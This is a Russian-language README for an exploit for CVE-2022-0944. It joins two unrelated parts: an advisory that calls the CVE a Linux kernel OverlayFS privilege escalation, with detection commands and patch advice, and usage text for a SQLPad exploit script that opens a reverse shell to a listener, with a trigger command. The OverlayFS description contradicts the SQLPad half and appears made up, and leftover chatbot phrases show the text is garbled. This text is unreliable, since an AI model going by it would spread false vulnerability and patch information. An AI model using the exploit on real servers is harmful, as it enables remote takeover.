
Образовательный эксплойт для CVE-2022-0944 привилегии повышения через OverlayFS с доставкой полезной нагрузки reverse shell и скриптами обнаружения версии ядра.
Рекомендации по безопасности и руководство по смягчению последствий уязвимости повышения привилегий в подсистеме OverlayFS ядра Linux.
CVE-2022-0944 — это уязвимость безопасности в подсистеме OverlayFS ядра Linux, которая позволяет локальным злоумышленникам повышать привилегии из-за неправильной обработки создания файлов в определённых конфигурациях.

🚨 Влияние
Локальный злоумышленник может:
Получить права root с помощью манипуляций с файлами
Обойти ограничения безопасности
Изменить критически важные системные файлы
Полностью скомпрометировать целостность системы
🔍 Обнаружение
grep CVE-2022-0944 /var/log/apt/history.log
# Для RHEL/CentOS:
rpm -q --changelog kernel | grep CVE-2022-0944
4. 🛡️ Смягчение последствий
Официальные исправления
Обновитесь до одной из этих исправленных версий:
Ядро Linux 5.16.12 или новее
Специфичные для вендора бэкпортированные исправления
Команда обновления:
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo yum update kernel
Обходные пути (если исправление невозможно сразу)
Ограничить использование OverlayFS:
sudo modprobe -r overlay
Внедрить ограничения пространств имён:
# Создать непривилегированное пространство имён пользователя
unshare -Ur
# Смонтировать с ограничениями пользователя
mount -t overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work overlay /mnt
Применить политики SELinux/AppArmor: type=AVC msg=audit(1647452829.123:456): user pid=1234 comm="mount" scontext=user_u:user_r:user_t tcontext=system_u:object_r:unlabeled_t denied { mounton }
⚠️ Отказ от ответственности Этот документ предоставлен исключительно в информационных целях. Хотя были предприняты усилия для обеспечения точности, гарантия не предоставляется. Всегда тестируйте исправления в среде разработки перед развёртыванием в производстве.
Последнее обновление: 2023-10-01 | Просмотреть журнал изменений
Ключевые особенности:
Этот формат README подходит для:
Хотите, чтобы я:
usage: main.py [-h] url lhost lport [username] [password]
positional arguments:
url URL to SQLPad
lhost Listener host address for reverse shell
lport Listener port for reverse shell
username login username (optional)
password login password (optional)
options:
-h, --help show this help message and exit
Пример:
# install requirements
pip install -r requirements.txt
# start sqlpad docker container
docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:6.10.0
# trigger exploit
./main.py http://localhost:3000 127.0.0.1 1337 admin admin
Этот репозиторий содержит код и инструменты, предназначенные исключительно для образовательных целей, в частности для использования в курсах по кибербезопасности и учебных средах. Автор этого кода не несёт ответственности за любые последствия, возникающие в результате использования, неправильного использования или модификации этого кода. Код предоставляется «как есть» без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, подразумеваемыми гарантиями товарной пригодности или соответствия конкретной цели.